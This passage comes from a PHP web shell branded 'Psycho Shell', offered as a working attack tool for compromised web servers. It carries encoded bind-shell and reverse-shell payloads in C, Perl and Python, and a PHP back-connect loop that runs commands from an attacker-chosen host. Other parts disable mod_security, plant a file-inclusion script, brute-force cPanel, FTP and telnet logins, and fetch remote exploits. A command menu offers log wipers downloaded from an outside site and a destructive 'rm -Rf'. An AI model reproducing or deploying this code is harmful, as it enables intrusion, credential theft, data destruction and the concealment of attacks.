5536 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5537 ajaxRequest.send(params);
5538}
5539function malwarefun(malwork)
5540{
5541 var malpath = document.getElementById('createfile').value;
5542 document.getElementById("showmal").innerHTML="<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
5543 var ajaxRequest;
5544 ajaxRequest = new XMLHttpRequest();
5545
5546 ajaxRequest.onreadystatechange = function()
5547 {
5548 if(ajaxRequest.readyState == 4)
5549 {
5550 document.getElementById("showmal").innerHTML=ajaxRequest.responseText;
5551 }
5552 }
5553
5554 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+malwork+"&path="+malpath, true);
5555 ajaxRequest.send(null);
5556}
5557function getexploit(wurl,path,functiontype)
5558{
5559 document.getElementById("showexp").innerHTML=waitstate;
5560 var ajaxRequest;
5561 ajaxRequest = new XMLHttpRequest();
5562
5563 ajaxRequest.onreadystatechange = function()
5564 {
5565 if(ajaxRequest.readyState == 4)
5566 {
5567 document.getElementById("showexp").innerHTML=ajaxRequest.responseText;
5568 }
5569 }
5570
5571 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?uploadurl&wurl="+wurl+"&functiontype="+functiontype+"&path="+path, true);
5572 ajaxRequest.send(null);
5573}
5574function showMsg(msg)
5575{
5576 if(msg == 'smf')
5577 {
5578 document.getElementById('tableprefix').value="smf_";
5579 document.getElementById('fid').style.display='block';
5580 document.getElementById('wpress').style.display='none';
5581 document.getElementById('joomla').style.display='none';
5582 }
5583 if(msg == 'mybb')
5584 {
5585 document.getElementById('tableprefix').value="mybb_";
5586 document.getElementById('wpress').style.display='none';
5587 document.getElementById('joomla').style.display='none';
5588 document.getElementById('fid').style.display='block';
5589 }
5590 if(msg == 'ipb' || msg == 'vb')
5591 {
5592 document.getElementById('tableprefix').value="";
5593 document.getElementById('wpress').style.display='none';
5594 document.getElementById('joomla').style.display='none';
5595 document.getElementById('fid').style.display='block';
5596 }
5597 if(msg == 'wp')
5598 {
5599 document.getElementById('tableprefix').value="wp_";
5600 document.getElementById('wpress').style.display='block';
5601 document.getElementById('fid').style.display='none';
5602 document.getElementById('joomla').style.display='none';
5603 }
5604 if(msg == 'joomla')
5605 {
5606 document.getElementById('joomla').style.display='block';
5607 document.getElementById('tableprefix').value="jos_";
5608 document.getElementById('wpress').style.display='none';
5609 document.getElementById('fid').style.display='none';
5610
5611
5612 }
5613}
5614function checkforum(msg)
5615{
5616 if(msg == 'smf')
5617 {
5618 document.getElementById('tableprefix').value="smf_";
5619 document.getElementById('smfipb').style.display='block';
5620 document.getElementById('myjoomla').style.display='none';
5621 document.getElementById('wordpres').style.display='none';
5622 }
5623 if(msg == 'phpbb')
5624 {
5625 document.getElementById('tableprefix').value="phpb_";
5626 document.getElementById('myjoomla').style.display='none';
5627 document.getElementById('smfipb').style.display='block';
5628 document.getElementById('wordpres').style.display='none';
5629 }
5630 if(msg == 'mybb')
5631 {
5632 document.getElementById('tableprefix').value="mybb_";
5633 document.getElementById('myjoomla').style.display='none';
5634 document.getElementById('smfipb').style.display='none';
5635 }
5636 if(msg == 'vb')
5637 {
5638 document.getElementById('tableprefix').value="";
5639 document.getElementById('myjoomla').style.display='none';
5640 document.getElementById('smfipb').style.display='none';
5641 }
5642 if(msg == 'ipb')
5643 {
5644 document.getElementById('myjoomla').style.display='none';
5645 document.getElementById('smfipb').style.display='block';
5646 document.getElementById('tableprefix').value="";
5647 document.getElementById('wordpres').style.display='none';
5648
5649 }
5650 if(msg == 'wp')
5651 {
5652 document.getElementById('tableprefix').value="wp_";
5653 document.getElementById('myjoomla').style.display='none';
5654 document.getElementById('smfipb').style.display='block';
5655 document.getElementById('wordpres').style.display='block';
5656 }
5657 if(msg == 'joomla')
5658 {
5659 document.getElementById('myjoomla').style.display='block';
5660 document.getElementById('tableprefix').value="jos_";
5661 document.getElementById('smfipb').style.display='none';
5662
5663 }
5664}
5665</script>
5666<body>
5667<?php
5668
5669$back_connect_p="eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";
5670
5671$backconnect_perl="eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";
5672
5673$bind_port_c="bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";
5674
5675$bind_port_p="bZFvS8NADMZft9DvkNUxW6hsw5f+wbJVHc5WelUQldK1mTucd6W94cTtu3tpN1DxXS753ZMnyUGnv6qr/oyLfonV0jK77DqYTs/sJlUv4IjbJ5bJ5+Bc+PHVA5zC0IUvwDVXztA9ga1lrmoEJvM3VJqsm8BhXu/uMp2EQeL1WDS6SVkSB/6t94qqrKSSs0+RvaNzqPLy0HVhs4GCI9ijTCjIK8wUQqv0LKh/jYqesiRlFk1T0tTaLErj4J4F/ngce9qOZWrbhWaIzoqiSrlwumT8afDiTULiUj98/NtSliiglNWu3ZLXCoWWOf7DtYUf5MeCL9GhlVimkeU5aoejKAw9RmYMPnc6TrfkxdlcVm9uixl7PSEVUN4G2m+nwDkXWADxzW+jscWS8ST07NMe6dq/8tF94tnn/xSCOP5dwDXm0N52P1FZcT0RIbvhiFnpxbdYO59h5Eup70vYTogrGFCoL7/9Bg==";
5676shellstyle();
5677?>
5678<div align="center">
5679<a href=""><font size="6" color="#FF0000" style="text-decoration:none;" face="Times New Roman, Times, serif">Psycho Shell...!!!</font></a>
5680
5681</div>
5682<hr color="#1B1B1B">
5683
5684<table cellpadding="0" style="width:100%;">
5685 <tr>
5686 <td colspan="2" style="width:75%;">System Info : <font class="txt"><?php systeminfo(); ?></font></td>
5687 <td style="width:10%;">Server Port : <font class="txt"><?php serverport(); ?></font></td>
5688 <td style="width:15%;"><a href=# onClick="maindata('com')"><font class="txt"><i>Software Info</i></font></a></td>
5689 </tr>
5690 <?php if($os != 'Windows' || shell_exec("id") != null) { ?><tr>
5691 <td style="width:75%;" colspan="2">Uid : <font class="txt"><?php echo shell_exec("id"); ?></font></td>
5692 <?php $d0mains = @file("/etc/named.conf");
5693 $users=@file('/etc/passwd');
5694 if($d0mains)
5695 {
5696 $count;
5697 foreach($d0mains as $d0main)
5698 {
5699 if(@ereg("zone",$d0main))
5700 {
5701 preg_match_all('#zone "(.*)"#', $d0main, $domains);
5702 flush();
5703 if(strlen(trim($domains[1][0])) > 2)
5704 {
5705 flush();
5706 $count++;
5707 }
5708 }
5709 }
5710 ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php
5711 }
5712 else if($users)
5713 {
5714 $file = fopen("/etc/passwd", "r");
5715 while(!feof($file))
5716 {
5717 $s = fgets($file);
5718 $matches = array();
5719 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
5720 $matches = str_replace("home/","",$matches[1]);
5721 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
5722 continue;
5723 $count++;
5724 }
5725 ?><td colspan=2 style="width:75%;">Websites : <font class="txt"><?php echo "$count Domains"; ?></font></td><?php } ?>
5726 </tr><?php } ?>
5727 <tr>
5728 <td style="width:20%;">Disk Space : <font class="txt"><?php echo HumanReadableFilesize(diskSpace()); ?></font></td>
5729 <td style="width:20%;">Free Space : <font class="txt"><?php echo HumanReadableFilesize(freeSpace()); $dksp = diskSpace(); $frsp = freeSpace(); echo " (".(int)($frsp/$dksp*100)."%)"; ?></font></td>
5730
5731 <td style="width:20%;">Server IP : <font class="txt"><a href="http://whois.domaintools.com/<?php serverip(); ?>"><?php serverip(); ?></a></font></td>
5732 <td style="width:15%;">Your IP : <font class="txt"><a href="http://whois.domaintools.com/<?php yourip(); ?>"><?php yourip(); ?></a></font></td>
5733 </tr>
5734
5735 <tr>
5736 <?php if($os == 'Windows'){ ?><td style="width:15%;">View Directories : <font class="txt"><?php echo showDrives();?></font></td><?php } ?>
5737 <td style="width:30%;">Current Directory : <span id="crdir"><font color="#009900">
5738 <?php
5739 $d = str_replace("\\",$directorysperator,$dir);
5740 if (substr($d,-1) != $directorysperator) {$d .= $directorysperator;}
5741 $d = str_replace("\\\\","\\",$d);
5742 $dispd = htmlspecialchars($d);
5743 $pd = $e = explode($directorysperator,substr($d,0,-1));
5744 $i = 0;
5745 foreach($pd as $b)
5746 {
5747 $t = '';
5748 $j = 0;
5749 foreach ($e as $r)
5750 {
5751 $t.= $r.$directorysperator;
5752 if ($j == $i) {break;}
5753 $j++;
5754 }
5755$href=addslashes($t);
5756
5757 echo "<a href=javascript:void(0) onClick=\"changedir('dir','$href')\"><b><font class=\"txt\">".htmlspecialchars($b).$directorysperator.'</font></b></a>';
5758 $i++;
5759 }
5760
5761 ?>
5762 </font></span> <a href=# onClick="gethome('home','<?php echo addslashes(getcwd()); ?>')">[Home]</a></td>
5763 <td style="width:20%;">Disable functions : <font class="txt"><?php echo getDisabledFunctions(); ?> </font></td>
5764 <td>Safe Mode : <font class=txt><?php echo safe(); ?></font></td>
5765 <?php if($os == "Linux") { ?><td><a href="<?php echo $self.'?downloadit'?>"><font color="#FF0000">Download It</font></a><?php } ?></td>
5766 </tr>
5767 </table>
5768
5769<?php $m1 = array('Symlink'=>'symlinkserver','Forum'=>'forum','Sec. Info'=>'secinfo','Code Inject'=>'injector','Bypassers'=>'bypass','Server Fuzzer'=>'fuzz','Zone-h'=>'zone','DoS'=>'dos','Mail'=>'mailbomb','Tools'=>'tools','PHP'=>'phpc','Exploit'=>'exploit','Connect'=>'connect');
5770 $m2 = array('SQL'=>'database','404 Page'=>'404','Malware Attack'=>'malattack','Cpanel Cracker'=>'cpanel','About'=>'about');
5771 echo "<table border=3 style=border-color:#333333; width=100%; cellpadding=2>
5772 <tr>";
5773 $menu = '';
5774
5775 foreach($m1 as $k => $v)
5776 $menu .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
5777 echo $menu;
5778 echo "</tr>
5779</table>
5780<div style=\"float:left;\">
5781 <a href=\"javascript:history.back(1)\"><font class=txt size=3> [Back] </font></a>
5782 <a href=\"javascript:history.go(1)\"><font class=txt size=3> [Forward] </font></a>
5783 <a href=\"\"><font class=txt size=3> [Refresh] </font></a></div>
5784<table style=\"margin-left:270px; border-color:#333333;\" border=2 width=60%; cellpadding=2>
5785 <tr align=center>";
5786 foreach($m2 as $k => $v)
5787 $menu1 .= "<td style=\"border:none;\"><a href=# onClick=\"maindata('".$v."','".addslashes($_GET['dir'])."')\"><font class=\"mainmenu\">[".$k."]</font></a></td>";
5788 echo $menu1;
5789 echo "<td style=\"border:none;\"><a href=javascript:void(0) onClick=\"if(confirm('Are You Sure You Want To Kill This Shell ?')){getmydata('selfkill');}else{return false;}\"><font class=mainmenu>[SelfKill]</font></a></td>
5790 <td style=\"border:none;\"><a href=\"$self?logout\"><font class=mainmenu>[LogOut]</font></a></td>
5791 </tr>
5792</table>";?>
5793
5794<div id="showmaindata"></div>
5795<?php
5796
5797if(isset($_GET["downloadit"]))
5798{
5799 $FolderToCompress = getcwd();
5800 execmd("tar --create --recursion --file=backup.tar $FolderToCompress");
5801
5802 $prd=explode("/","backup.tar");
5803 for($i=0;$i<sizeof($prd);$i++)
5804 {
5805 $nfd=$prd[$i];
5806 }
5807 @ob_clean();
5808 header("Content-type: application/octet-stream");
5809 header("Content-length: ".filesize($nfd));
5810 header("Content-disposition: attachment; filename=\"".$nfd."\";");
5811 readfile($nfd);
5812 exit;
5813}
5814//Turn Safe Mode Off
5815
5816 if(getDisabledFunctions() != "None" || safe() != "OFF")
5817 {
5818 $file_pointer = fopen(".htaccess", "w+");
5819 fwrite($file_pointer, "<IfModule mod_security.c>
5820 SecFilterEngine Off
5821 SecFilterScanPOST Off
5822 </IfModule> \n\r");
5823
5824 $file_pointer = fopen("ini.php", "w+");
5825 fwrite($file_pointer, "<?
5826echo ini_get(\"safe_mode\");
5827echo ini_get(\"open_basedir\");
5828include(\$_GET[\"file\"]);
5829ini_restore(\"safe_mode\");
5830ini_restore(\"open_basedir\");
5831echo ini_get(\"safe_mode\");
5832echo ini_get(\"open_basedir\");
5833include(\$_GET[\"ss\"]);
5834?>");
5835
5836 $file_pointer = fopen("php.ini", "w+");
5837 fwrite($file_pointer, "safe_mode = Off");
5838
5839 fclose($file_pointer);
5840
5841 }
5842
5843 else if(isset($_POST['cpanelattack']))
5844 {
5845 if(!empty($_POST['username']) && !empty($_POST['password']))
5846 {
5847 $userlist=explode("\n",$_POST['username']);
5848 $passlist=explode("\n",$_POST['password']);
5849
5850 if($_POST['cracktype'] == "ftp")
5851 {
5852 foreach ($userlist as $user)
5853 {
5854 $pureuser = trim($user);
5855 foreach ($passlist as $password )
5856 {
5857 $purepass = trim($password);
5858 ftp_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
5859 }
5860 }
5861 }
5862 if ($_POST['cracktype'] == "cpanel" || $_POST['cracktype'] == "telnet")
5863 {
5864 if($cracktype == "telnet")
5865 $cpanel_port="23";
5866 else
5867 $cpanel_port="2082";
5868 foreach ($userlist as $user)
5869 {
5870 $pureuser = trim($user);
5871
5872 echo "<b><font face=Tahoma style=\"font-size: 9pt\" color=#008000> [ - ] </font><font face=Tahoma style=\"font-size: 9pt\" color=#FF0800>
5873 Processing user $pureuser ...</font></b><br><br>";
5874
5875 foreach ($passlist as $password )
5876 {
5877 $purepass = trim($password);
5878 cpanel_check($_POST['target'],$pureuser,$purepass,$connect_timeout);
5879
5880 }
5881 }
5882 }
5883 }
5884 else
5885 $bdmessage = "<center>Enter Username & Password List<center>";
5886 }
5887
5888else if(isset($_GET['info']))
5889{
5890 $bdmessage = "<br><div align=left><font class=txt>".nl2br(shell_exec("whois ".$_GET['info']))."</font></div>";
5891}
5892else if(isset($_POST['u']))
5893{
5894 $path = $_REQUEST['path'];
5895 if(is_dir($path))
5896 {
5897 $setuploadvalue = 0;
5898 $uploadedFilePath = $_FILES['uploadfile']['name'];
5899 $tempName = $_FILES['uploadfile']['tmp_name'];
5900 if($os == "Windows")
5901 $uploadPath = $path . $directorysperator . $uploadedFilePath;
5902 else if($os == "Linux")
5903 $uploadPath = $path . $directorysperator . $uploadedFilePath;
5904 if($stat = move_uploaded_file($_FILES['uploadfile']['tmp_name'] , $uploadPath))
5905 $bdmessage = "<font class=txt size=3><blink>File uploaded to $uploadPath</blink></font>";
5906 else
5907 $bdmessage = "<font size=3><blink>Failed to upload file to $uploadPath</blink></font>";
5908 }
5909 ?><script type="text/javascript">changedir('dir','<?php echo addslashes($path); ?>'); </script><?php
5910}
5911else if(isset($_POST['backdoor']))
5912{
5913 if(isset($_POST['passwd']) && isset($_POST['port']) && isset($_POST['lang']))
5914 { ?><script type="text/javascript">gethome('connect');</script><?php
5915 $passwd = $_POST['passwd'];
5916
5917 if($_POST['lang'] == 'c')
5918 {
5919 if(is_writable("."))
5920 {
5921 @$fh=fopen(getcwd()."/backp.c",'w');
5922 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
5923 @fclose($fh);
5924 execmd("chmod 0755 ".getcwd()."/backp.c");
5925 execmd("gcc -o ".getcwd()."/backp ".getcwd()."/backp.c");
5926 execmd("chmod 0755 ".getcwd()."/backp");
5927 execmd(getcwd()."/backp"." ".$_POST['port']." ". $passwd ." &");
5928 $scan = exec_all("ps aux | grep backp".$_POST['port']);
5929 if(eregi("backp".$_POST['port'],$scan))
5930 $bdmessage = "Process found running, backdoor setup successfully.";
5931 else
5932 $bdmessage = "Process not found running, backdoor not setup successfully.";
5933 }
5934 else
5935 {
5936 @$fh=fopen("/tmp/backp.c","w");
5937 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
5938 @fclose($fh);
5939 execmd("chmod 0755 /tmp/backp.c");
5940 execmd("gcc -o /tmp/backp /tmp/backp.c");
5941 $out = execmd("/tmp/backp"." ".$_POST['port']." ". $passwd ." &");
5942 $scan = exec_all("ps aux | grep backp".$_POST['port']);
5943 if(eregi("backp".$_POST['port'],$scan))
5944 $bdmessage = "Process found running, backdoor setup successfully.";
5945 else
5946 $bdmessage = "Process not found running, backdoor not setup successfully.";
5947 }
5948 }
5949 if($_POST['lang'] == 'perl')
5950 {
5951 if(is_writable("."))
5952 {
5953 @$fh=fopen(getcwd()."/bp.pl",'w');
5954 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
5955 @fclose($fh);
5956 execmd("chmod 0755 ".getcwd()."/bp.pl");
5957 execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
5958
5959 $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
5960 }
5961 else
5962 {
5963 @$fh=fopen("/tmp/bp.pl","w");
5964 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
5965 @fclose($fh);
5966 execmd("chmod 0755 ".getcwd()."/bp.pl");
5967 execmd("perl ".getcwd()."/bp.pl ".$_POST['port']." ". $passwd ." &");
5968 $bdmessage = "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
5969 }
5970 }
5971 }
5972}
5973else if(isset($_POST['backconnect']))
5974{
5975 if($_POST['ip'] != "" && $_POST['port'] != "")
5976 { ?><script type="text/javascript">gethome('connect');</script><?php
5977 $host = $_POST['ip'];
5978 $port = $_POST['port'];
5979 if($_POST["lang"] == "perl")
5980 {
5981 if(is_writable("."))
5982 {
5983 @$fh=fopen(getcwd()."/bc.pl",'w');
5984 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
5985 @fclose($fh);
5986 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5987 execmd("perl ".getcwd()."/bc.pl $host $port &",$disable);
5988 if(!@unlink(getcwd()."/bc.pl")) echo "<font color='#FFFFFF' size=3>Warning: Failed to delete reverse-connection program</font></br>";
5989 }
5990 else
5991 {
5992 @$fh=fopen("/tmp/bc.pl","w");
5993 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
5994 @fclose($fh);
5995 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
5996 execmd("perl /tmp/bc.pl $host $port &",$disable);
5997 if(!@unlink("/tmp/bc.pl"))
5998 echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
5999 }
6000 }
6001 else if($_POST["lang"] == "python")
6002 {
6003 if(is_writable("."))
6004 {
6005 $w_file=@fopen(getcwd()."/bc.py","w") or die(mysql_error());
6006 if($w_file)
6007 {
6008 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
6009 @fclose($w_file);
6010 chmod(getcwd().'/bc.py', 0777);
6011 }
6012 execmd("python ".getcwd()."/bc.py $host $port &",$disable);
6013 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
6014
6015 if(!@unlink(getcwd()."/bc.py"))
6016 echo "<h2>Warning: Failed to delete reverse-connection program</h2></br>";
6017 }
6018 else
6019 {
6020 $w_file=@fopen("/tmp/bc.py","w");
6021 if($w_file)
6022 {
6023 @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
6024 @fclose($w_file);
6025 chmod('/tmp/bc.py', 0777);
6026 }
6027 execmd("python /tmp/bc.py $host $port &",$disable);
6028 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
6029 if(!@unlink("/tmp/bc.py"))
6030 echo "<h2>Warning: Failed to delete reverse-connection program</h2><br>";
6031 }
6032 }
6033 else if($_POST["lang"] == "php")
6034 {
6035 $bdmessage = "<font color='#FFFFFF'>Trying to connect...</font>";
6036 $ip = $_POST['ip'];
6037 $port=$_POST['port'];
6038 $sockfd=fsockopen($ip , $port , $errno, $errstr );
6039 if($errno != 0)
6040 {
6041 $bdmessage = "<font color='red'><b>$errno</b> : $errstr</font>";
6042 }
6043 else if (!$sockfd)
6044 {
6045 $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
6046 }
6047 else
6048 {
6049 fputs ($sockfd ,"\n=================================================================\nCoded By Arjun\n=================================================================");
6050 $pwd = exec_all("pwd");
6051 $sysinfo = exec_all("uname -a");
6052 $id = exec_all("id");
6053 $len = 1337;
6054 fputs($sockfd ,$sysinfo . "\n" );
6055 fputs($sockfd ,$pwd . "\n" );
6056 fputs($sockfd ,$id ."\n\n" );
6057 fputs($sockfd ,$dateAndTime."\n\n" );
6058 while(!feof($sockfd))
6059 {
6060 $cmdPrompt ="(dhanush)[$]> ";
6061 fputs ($sockfd , $cmdPrompt );
6062 $command= fgets($sockfd, $len);
6063 fputs($sockfd , "\n" . exec_all($command) . "\n\n");
6064 }
6065 fclose($sockfd);
6066 }
6067 }
6068 }
6069}
6070else if (isset ($_GET['val1'], $_GET['val2']) && is_numeric($_GET['val1']) && is_numeric($_GET['val2']))
6071{
6072 $temp = "";
6073 for(;$_GET['val1'] <= $_GET['val2'];$_GET['val1']++)
6074 {
6075 $uid = @posix_getpwuid($_GET['val1']);
6076 if ($uid)
6077 $temp .= join(':',$uid)."\n";
6078 }
6079 echo '<br/>';
6080 paramexe('Users', $temp);
6081}
6082else if(isset($_GET['download']))
6083{
6084 download();
6085}
6086else
6087{
6088 ?><script type="text/javascript">gethome('home','<?php echo addslashes($dir); ?>');</script><?php
6089}
6090$is_writable = is_writable($dir)?"<font class=txt>< writable ></font>":"< not writable >";
6091?>
6092</p><center><div id="showdir"><?php echo $bdmessage; ?></div></center>
6093<table style="width:100%;border-color:#333333;" border="1">
6094<tr>
6095<td align="center">
6096<form method="post" enctype="multipart/form-data">
6097Upload file : <br><input type="file" name="uploadfile" class="box" size="50">
6098<input type="hidden" id=path name="path" value="<?php echo $dir; ?>" />
6099<input type=submit value="Upload" name="u" value="u" class="but" ></form>
6100<span name="wrtble"><?php
6101echo $is_writable; ?></span>
6102 <br>
6103</td>
6104<td align="center" style="height:105px;">Create File :
6105<form onSubmit="createdir('Create',createfile.value);return false;">
6106<input type="text" class="box" value="<?php echo $dir . $directorysperator; ?>" name="createfile" id="createfile">
6107<input type="button" onClick="createdir('Create',createfile.value)" value="Create" class="but">
6108</form><span name="wrtble">
6109<?php echo $is_writable; ?></span>
6110</td>
6111</tr>
6112<tr>
6113<td align="center" style="height:105px;">Execute : <form onSubmit="executemyfile('execute','<?php echo addslashes($dir); ?>',execute.value);return false;">
6114<input type="text" class="box" name="execute">
6115<input type="hidden" id="exepath" name="exepath" value="<?php echo $dir; ?>">
6116 <input type="button" onClick="executemyfile('execute',exepath.value,execute.value)" value="Execute" class="but"></form></td>
6117
6118<td align="center">Create Directory : <form onSubmit="createdir('createfolder',createfolder.value);return false;">
6119<input type="text" value="<?php echo $dir . $directorysperator; ?>" class="box" name="createfolder" id="createfolder">
6120<input type="button" onClick="createdir('createfolder',createfolder.value)" value="Create" class="but">
6121</form><span name="wrtble"><?php
6122echo $is_writable;
6123?></span></td></tr>
6124<tr><td style="height:105px;" align="center">Get Exploit <form onSubmit="getexploit(wurl.value,path.value,functiontype.value);return false;">
6125<input type="text" name="wurl" class="box" value="http://www.some-code/exploits.c">
6126<input type="button" onClick="getexploit(wurl.value,uppath.value,functiontype.value)" value=" G0 " class="but"><br><br>
6127<input type="hidden" id="uppath" name="uppath" value="<?php echo $dir . $directorysperator; ?>">
6128<select name="functiontype" class="sbox">
6129<option value="wwget">wget</option>
6130<option value="wlynx">lynx</option>
6131<option value="wfread">fread</option>
6132<option value="wfetch">fetch</option>
6133<option value="wlinks">links</option>
6134<option value="wget">GET</option>
6135<option value="wcurl">curl</option>
6136</select>
6137</form><div id="showexp"></div>
6138</td>
6139<td align="center">
6140<form>
6141Some Commands<br>
6142<?php if($os != "Windows")
6143{ ?>
6144<SELECT NAME="mycmd" class="box">
6145 <OPTION VALUE="uname -a">Kernel version
6146 <OPTION VALUE="w">Logged in users
6147 <OPTION VALUE="lastlog">Last to connect
6148 <option value='cat /etc/hosts'>IP Addresses
6149 <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP
6150 <OPTION VALUE="logeraser">Log Eraser
6151 <OPTION VALUE="find / -perm -2 -ls">Find all writable directories
6152 <OPTION VALUE="find . -perm -2 -ls">Find all writable directories in Current Folder
6153 <OPTION VALUE="find / -type f -name \"config*\"">find config* files
6154 <OPTION VALUE="find . -type f -name \"config*\"">find config* files in current dir
6155 <OPTION VALUE="find . -type f -perm -04000 -ls">find suid files in current dir
6156 <OPTION VALUE="find / -type f -perm -04000 -ls">find all suid files
6157 <OPTION VALUE="find / -user root -perm -022">find all sgid files
6158 <OPTION VALUE="find . -type f -perm -02000 -ls">find suid files in current dir
6159 <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
6160 <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
6161 <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
6162 <?php if(is_dir('/etc/valiases')){ ?><option value="ls -l /etc/valiases">List of Cpanel`s domains(valiases)</option><?php } ?>
6163 <?php if(is_dir('/etc/vdomainaliases')) { ?><option value=\"ls -l /etc/vdomainaliases">List Cpanel`s domains(vdomainaliases)</option><?php } ?>
6164 <OPTION VALUE="which wget curl w3m lynx">Downloaders?
6165 <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
6166 <OPTION VALUE="ps aux">Show running proccess
6167 <OPTION VALUE="uptime">Uptime check
6168 <OPTION VALUE="cat /proc/meminfo">Memory check
6169 <OPTION VALUE="netstat -an | grep -i listen">Open ports
6170 <OPTION VALUE="rm -Rf">Format box (DANGEROUS)
6171 <OPTION VALUE="wget www.ussrback.com/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
6172 <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
6173 <OPTION VALUE="./zap2">WIPELOGS PT3
6174 <OPTION VALUE="cat /var/cpanel/accounting.log">Get cpanel logs
6175 </SELECT>
6176 <?php } else {?>
6177 <SELECT NAME="mycmd" class="box">
6178 <OPTION VALUE="dir /s /w /b *config*.php">Find *config*.php in current directory
6179 <OPTION VALUE="dir /s /w /b index.php">Find index.php in current dir
6180 <OPTION VALUE="systeminfo">System Informations
6181 <OPTION VALUE="net user">User accounts
6182 <OPTION VALUE="netstat -an">Open ports
6183 <OPTION VALUE="getmac">Get Mac Address
6184 <OPTION VALUE="net start">Show running services
6185 <OPTION VALUE="net view">Show computers
6186 <OPTION VALUE="arp -a">ARP Table
6187 <OPTION VALUE="tasklist">Show Process
6188 <OPTION VALUE="ipconfig/all">IP Configuration
6189
6190 </SELECT>
6191 <?php } ?>
6192 <input type="hidden" id="auexepath" name="auexepath" value="<?php echo $dir; ?>">
